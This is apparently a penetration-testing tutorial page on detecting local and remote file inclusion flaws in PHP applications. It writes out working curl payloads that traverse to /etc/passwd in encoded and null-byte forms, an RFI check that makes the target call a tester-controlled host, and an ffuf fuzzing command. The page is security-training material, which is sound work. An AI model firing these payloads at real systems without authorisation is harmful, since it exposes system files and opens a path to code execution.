Skip to content
HackIndex logo

HackIndex

File inclusion

3 min read Apr 24, 2026

File inclusion vulnerabilities occur when user-controlled input is passed to a file-loading function without sufficient validation. Local File Inclusion reads files from the server filesystem. Remote File Inclusion loads and executes code from a remote URL. Both lead to full code execution with the right conditions. Detection here stops at confirmation — exploitation is covered in the file inclusion exploitation section.

Look for parameters named page, file, path, include, template, view, doc, or lang during parameter crawling — these are the most common carriers.

Identify File Loading Parameters

Check the application's URL structure and form inputs for parameters that accept filenames or paths:

┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP:$PORT/index.php?page=home" | wc -c 
4823
┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP:$PORT/index.php?page=about" | wc -c 
3102

Different response sizes for different parameter values strongly suggest the parameter is loading different files. That's your LFI test target.

LFI Detection — Path Traversal

Test path traversal sequences to read files outside the intended directory. Start with a known target file:

┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP:$PORT/index.php?page=../../../etc/passwd" | grep -i 'root' 
root:x:0:0:root:/root:/bin/bash
┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP:$PORT/index.php?page=....//....//....//etc/passwd" | grep -i 'root'
┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP:$PORT/index.php?page=/etc/passwd" | grep -i 'root'

Content from /etc/passwd in the response confirms LFI. If nothing shows on the basic traversal, the application may be stripping ../ sequences. Try URL-encoded and double-encoded variants:

┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP:$PORT/index.php?page=..%2F..%2F..%2Fetc%2Fpasswd" | grep -i 'root'
┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP:$PORT/index.php?page=..%252F..%252F..%252Fetc%252Fpasswd" | grep -i 'root'

LFI with Extension Appending

Some applications append .php or another extension to the parameter value. Use a PHP null byte or path tricks to bypass on older PHP versions:

┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP:$PORT/index.php?page=../../../etc/passwd%00" | grep -i 'root'

Null byte truncation works on PHP 5.3 and earlier. On newer PHP, use path length attacks or look for wrapper-based bypasses instead.

RFI Detection

Remote File Inclusion requires allow_url_include = On in PHP config, which is off by default in modern installs. Test by pointing the parameter at an external URL you control:

┌──(kali㉿kali)-[~]
└─$ nc -lvnp $LPORT
┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP:$PORT/index.php?page=http://$LHOST:$LPORT/test"

An incoming HTTP request on your listener confirms RFI — the server fetched a remote URL based on your input. This is also a confirmed SSRF path through the file inclusion vector.

Automated Fuzzing

Use ffuf with a dedicated LFI wordlist to test multiple traversal variants across a parameter quickly:

┌──(kali㉿kali)-[~]
└─$ ffuf -w /usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt -u "http://$TARGET_IP:$PORT/index.php?page=FUZZ" -mc 200 -fs 1234

Set -fs to the normal response size so only responses with different content — indicating a successful file read — are shown. Confirmed LFI moves to local file inclusion exploitation for sensitive file extraction and path to RCE.

References